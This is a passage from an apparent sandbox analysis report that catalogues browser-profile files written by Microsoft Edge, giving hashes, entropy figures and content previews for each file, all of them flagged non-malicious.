SHA-256:	899C6FD49C3FD8508BE05E47B39916B4277AAB59E0837685B446A96FC9248A92
SHA-512:	7A67BEBE10A801A382E4BE2857FC38AB83E93617A130C546CE2A4EB07F18D4ACFECE583CB6815890E9DB1C30A68CDCEE06E2F68AF935E84B8BAB1E840D3F3868
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376284947062265","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376284947062265","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222871238840479
Encrypted:	false
SSDEEP:	24576:v+/PN8FkfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8yfx2mjF
MD5:	1D61BED81728453FD4BBF8A9C3EB05CA
SHA1:	8527758828C66BBF87C64E9D0881C7E68C47D754
SHA-256:	877E995AF1B70DCC22BADB55DD009AB0A4D6997D67890231D7B1ACA6E8D44AD6
SHA-512:	084DA2293896EA87469B8516FC6A74DB037DBE3C7BCC175BE37BBC54A4DD18DC098EB46E3A86D5D4F8CA1BFECA0A8D8B47102A9A7FA6108B7ACA6B6BC6DA43DC
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.126152729101173
Encrypted:	false
SSDEEP:	6:HUpYjSQ+q2P923oH+Tcwt9Eh1tIFUt8YUpfgZmw+YUpTQVkwO923oH+Tcwt9Eh1H:RjSQ+v4Yeb9Eh16FUt8rg/+fQV5LYebY
MD5:	EBCF6F694BA0F4D1BF0A7F087B5B4B39
SHA1:	7D4CB364B3DBF0C3EB6FAD864DA1F52D8BC34EFE
SHA-256:	7992612C2971D0B79850B8138F889089C998B80278C322D95FCDFFF165BD86DD
SHA-512:	3C4872C3395BFD406BC2CFA81201406F165675D81A7B3150075D75D82B525D5126E4551BEF23099FED2690C218E563426D0A8AAA61F0F653B50A3D86B6339BCF
Malicious:	false
Preview:	2024/11/16-21:42:31.494 23bc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/16-21:42:31.496 23bc Recovering log #3.2024/11/16-21:42:31.504 23bc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.126152729101173
Encrypted:	false
SSDEEP:	6:HUpYjSQ+q2P923oH+Tcwt9Eh1tIFUt8YUpfgZmw+YUpTQVkwO923oH+Tcwt9Eh1H:RjSQ+v4Yeb9Eh16FUt8rg/+fQV5LYebY
MD5:	EBCF6F694BA0F4D1BF0A7F087B5B4B39
SHA1:	7D4CB364B3DBF0C3EB6FAD864DA1F52D8BC34EFE
SHA-256:	7992612C2971D0B79850B8138F889089C998B80278C322D95FCDFFF165BD86DD
SHA-512:	3C4872C3395BFD406BC2CFA81201406F165675D81A7B3150075D75D82B525D5126E4551BEF23099FED2690C218E563426D0A8AAA61F0F653B50A3D86B6339BCF
Malicious:	false
Preview:	2024/11/16-21:42:31.494 23bc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/16-21:42:31.496 23bc Recovering log #3.2024/11/16-21:42:31.504 23bc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354112470218304
Encrypted:	false
SSDEEP:	6144:VA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:VFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	B968B0514DDD745AD998FF5A721D8161
SHA1:	B591C103AAC46FD1B04205B63BBC7693BB0E72F5
SHA-256:	B54FC402BFE2F05E9907692D2B8E962987900C7F60E2CA3C96DD00E9790B5ADA
SHA-512:	E0F1E3187F5EC28F30C0291E3487A6B9F72D2E81EA69E8782786512D7F25C7AD774149311EE7975F42F40757223AE1C7D09FEE3B5240692A71062F8E9FB8B73D
Malicious:	false
Preview:	...m.................DB_VERSION.1fq..q...............&QUERY_TIMESTAMP:domains_config_gz2...13376284952776203..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.18085607127923
Encrypted:	false
SSDEEP:	6:HUpHFFB1923oH+Tcwtk2WwnvB2KLlVUpTHN+q2P923oH+Tcwtk2WwnvIFUv:hYebkxwnvFLmov4YebkxwnQFUv
MD5:	9C18C99245F6ECBFCCEDC25499EC1C68
SHA1:	70B3DD668FB1B3560C371D990DB6C3FEA39E59C0
SHA-256:	3275629A8B7045D7BD65635C7EB50ED0DBB91B74276755CC789C8FC88C19ABB5
SHA-512:	E17342E26B31F6BAD21C68DC2A7BE38B59C5B3A13F2013021AF2DBE0B3A279C98E41F60C8C0FF682EC8669DBE62C75CBB8DE5E4CF6B5B75E4DB038E6789921A9
Malicious:	false
Preview:	2024/11/16-21:42:31.517 23f8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/16-21:42:31.605 23f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324615403669428
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rd:C1gAg1zfvl
MD5:	716C8B1195827EE27CA40E48962B9669
SHA1:	EE8F2AD43D2ED13C7EB7B24C9D39DDFFF70D3437
SHA-256:	2C89208544CBD8F3A4524BFCE343C4CD67AF9A8C8A70334017EFB7251B3D2B6E
SHA-512:	0D18989BBCEAE4C74C2771B479B70B497EB20933CF0897B0C48CBC5F4FFF86558448A13C5F6FEF61B7F7BE6497B417B5914CBBA2BBDA3A8F50961ECF2356BA22
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\10e26d94-be5b-4bbd-8e84-d61c64f9fc7c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\2b383ef6-b158-44d7-b5c4-06e8756b101c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\63154bb0-bc2b-4575-af0d-dbb9079e442a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\683397ae-f96e-45a1-83bf-01d2135a9e3a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	5.330196397960569
Encrypted:	false
SSDEEP:	48:YcgCzsEtsuFfc7RsXleeBkEs9CgHPbxo+:FXhF2YkeBkJTPVo+
MD5:	91649ACE770CAFEC0A888A3F26B43229
SHA1:	6CABA6C1BC39D239AF016B81AB8774962D7962EE
SHA-256:	8ED1718AF8E487F2CD93F275D768BEF11F0943E90F86A9DEF05CB7D8E7DE89A6
SHA-512:	90F3E8D299CD9B00125BA448C24F3CE5B28BD3E7501E197C484C3C6B9769BC6452A648D9CE13B817751BD6176D1C09DDC6734818651C95831449D31AEF704A10
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378876950134793","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378876952614680","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13376378571581239","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\7b8a6c7e-b2e7-4fd9-a534-c4ab1bc055ad.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8e228600-577c-467e-83c5-8c8ef04d89d0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF49c0d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
